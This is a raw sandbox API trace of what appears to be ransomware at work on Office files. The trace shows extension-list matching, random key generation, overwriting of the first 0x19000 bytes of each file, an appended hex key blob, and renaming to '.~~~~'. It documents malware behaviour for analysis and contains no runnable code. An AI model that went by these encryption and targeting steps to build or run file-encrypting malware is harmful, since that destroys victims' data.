	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.939] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395c90) returned 1
	[0144.940] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.941] CryptReleaseContext (hProv=0x395c90, dwFlags=0x0) returned 1
	[0144.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.941] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26493098150) returned 1
	[0144.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfcbe210, dwHighDateTime=0x1d60e1e)) 
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fac8
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fac8 | out: hHeap=0x300000) returned 1
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.942] GetLastError () returned 0x0
	[0144.942] GetLastError () returned 0x0
	[0144.942] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.942] GetLastError () returned 0x0
	[0144.942] GetLastError () returned 0x0
	[0144.943] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.948] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.948] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.950] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.950] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.952] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.952] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.953] CloseHandle (hObject=0x138) returned 1
	[0144.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.~~~~")) returned 1
	[0144.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37efa0 | out: hHeap=0x300000) returned 1
	[0144.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.956] GetLastError () returned 0x0
	[0144.956] RtlWakeConditionVariable () returned 0x0
	[0144.956] GetCurrentThreadId () returned 0x3a4
	[0144.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".scr") returned 0x0
	[0144.956] lstrlenW (lpString=".cmd") returned 4
	[0144.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".cmd") returned 0x0
	[0144.956] lstrlenW (lpString=".dll") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dll") returned 0x0
	[0144.957] lstrlenW (lpString=".bat") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".bat") returned 0x0
	[0144.957] lstrlenW (lpString=".cpl") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".cpl") returned 0x0
	[0144.957] lstrlenW (lpString=".sys") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".sys") returned 0x0
	[0144.957] lstrlenW (lpString=".msc") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".msc") returned 0x0
	[0144.957] lstrlenW (lpString=".com") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".com") returned 0x0
	[0144.957] lstrlenW (lpString=".lnk") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".lnk") returned 0x0
	[0144.957] lstrlenW (lpString=".msp") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".msp") returned 0x0
	[0144.957] lstrlenW (lpString=".pif") returned 4
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".pif") returned 0x0
	[0144.957] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.960] lstrlenW (lpString=".sqb") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".sqb") returned 0x0
	[0144.960] lstrlenW (lpString=".ost") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".ost") returned 0x0
	[0144.960] lstrlenW (lpString=".txt") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".txt") returned 0x0
	[0144.960] lstrlenW (lpString=".mdt") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".mdt") returned 0x0
	[0144.960] lstrlenW (lpString=".BDB") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".BDB") returned 0x0
	[0144.960] lstrlenW (lpString=".eql") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".eql") returned 0x0
	[0144.960] lstrlenW (lpString=".DBF") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DBF") returned 0x0
	[0144.960] lstrlenW (lpString=".EQL") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".EQL") returned 0x0
	[0144.960] lstrlenW (lpString=".FDB") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".FDB") returned 0x0
	[0144.960] lstrlenW (lpString=".EDB") returned 4
	[0144.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".EDB") returned 0x0
	[0144.961] lstrlenW (lpString=".DACPAC") returned 7
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DACPAC") returned 0x0
	[0144.961] lstrlenW (lpString=".VHD") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".VHD") returned 0x0
	[0144.961] lstrlenW (lpString=".DBV") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DBV") returned 0x0
	[0144.961] lstrlenW (lpString=".dacpac") returned 7
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dacpac") returned 0x0
	[0144.961] lstrlenW (lpString=".sdf") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".sdf") returned 0x0
	[0144.961] lstrlenW (lpString=".accdb") returned 6
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".accdb") returned 0x0
	[0144.961] lstrlenW (lpString=".DBX") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DBX") returned 0x0
	[0144.961] lstrlenW (lpString=".MDT") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".MDT") returned 0x0
	[0144.961] lstrlenW (lpString=".SQB") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".SQB") returned 0x0
	[0144.961] lstrlenW (lpString=".vhd") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".vhd") returned 0x0
	[0144.961] lstrlenW (lpString=".bac") returned 4
	[0144.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".bac") returned 0x0
	[0144.961] lstrlenW (lpString=".mdf") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".mdf") returned 0x0
	[0144.962] lstrlenW (lpString=".BAK") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".BAK") returned 0x0
	[0144.962] lstrlenW (lpString=".BAC") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".BAC") returned 0x0
	[0144.962] lstrlenW (lpString=".dbs") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dbs") returned 0x0
	[0144.962] lstrlenW (lpString=".vhdx") returned 5
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".vhdx") returned 0x0
	[0144.962] lstrlenW (lpString=".NDF") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".NDF") returned 0x0
	[0144.962] lstrlenW (lpString=".dat") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dat") returned 0x0
	[0144.962] lstrlenW (lpString=".DBS") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DBS") returned 0x0
	[0144.962] lstrlenW (lpString=".CKP") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".CKP") returned 0x0
	[0144.962] lstrlenW (lpString=".edb") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".edb") returned 0x0
	[0144.962] lstrlenW (lpString=".PST") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".PST") returned 0x0
	[0144.962] lstrlenW (lpString=".dbf") returned 4
	[0144.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dbf") returned 0x0
	[0144.963] lstrlenW (lpString=".SQL") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".SQL") returned 0x0
	[0144.963] lstrlenW (lpString=".pst") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".pst") returned 0x0
	[0144.963] lstrlenW (lpString=".dbv") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dbv") returned 0x0
	[0144.963] lstrlenW (lpString=".SDF") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".SDF") returned 0x0
	[0144.963] lstrlenW (lpString=".dtxs") returned 5
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dtxs") returned 0x0
	[0144.963] lstrlenW (lpString=".db3") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".db3") returned 0x0
	[0144.963] lstrlenW (lpString=".OST") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".OST") returned 0x0
	[0144.963] lstrlenW (lpString=".dbx") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dbx") returned 0x0
	[0144.963] lstrlenW (lpString=".DB3") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DB3") returned 0x0
	[0144.963] lstrlenW (lpString=".DAT") returned 4
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DAT") returned 0x0
	[0144.963] lstrlenW (lpString=".VHDX") returned 5
	[0144.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".VHDX") returned 0x0
	[0144.963] lstrlenW (lpString=".ndf") returned 4
	[0145.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".ndf") returned 0x0
	[0145.093] lstrlenW (lpString=".DB") returned 3
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DB") returned 0x0
	[0145.093] lstrlenW (lpString=".sql") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".sql") returned 0x0
	[0145.093] lstrlenW (lpString=".MYD") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".MYD") returned 0x0
	[0145.093] lstrlenW (lpString=".DBT") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DBT") returned 0x0
	[0145.093] lstrlenW (lpString=".ACCDB") returned 6
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".ACCDB") returned 0x0
	[0145.093] lstrlenW (lpString=".fdb") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".fdb") returned 0x0
	[0145.093] lstrlenW (lpString=".bak") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".bak") returned 0x0
	[0145.093] lstrlenW (lpString=".myd") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".myd") returned 0x0
	[0145.093] lstrlenW (lpString=".DTXS") returned 5
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".DTXS") returned 0x0
	[0145.093] lstrlenW (lpString=".ckp") returned 4
	[0145.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".ckp") returned 0x0
	[0145.094] lstrlenW (lpString=".dbt") returned 4
	[0145.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".dbt") returned 0x0
	[0145.094] lstrlenW (lpString=".db") returned 3
	[0145.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".db") returned 0x0
	[0145.094] lstrlenW (lpString=".TXT") returned 4
	[0145.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".TXT") returned 0x0
	[0145.094] lstrlenW (lpString=".MDF") returned 4
	[0145.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".MDF") returned 0x0
	[0145.094] lstrlenW (lpString=".bdb") returned 4
	[0145.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".bdb") returned 0x0
	[0145.094] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0145.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.094] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.096] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.096] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0145.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0145.096] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26508674826) returned 1
	[0145.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfe3afd0, dwHighDateTime=0x1d60e1e)) 
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f978
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f978 | out: hHeap=0x300000) returned 1
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ace48
	[0145.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dd38
	[0145.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ace48 | out: hHeap=0x300000) returned 1
	[0145.098] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.098] GetLastError () returned 0x0
	[0145.098] GetLastError () returned 0x0
	[0145.098] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.098] GetLastError () returned 0x0
	[0145.099] GetLastError () returned 0x0
	[0145.099] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.105] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.106] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.106] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
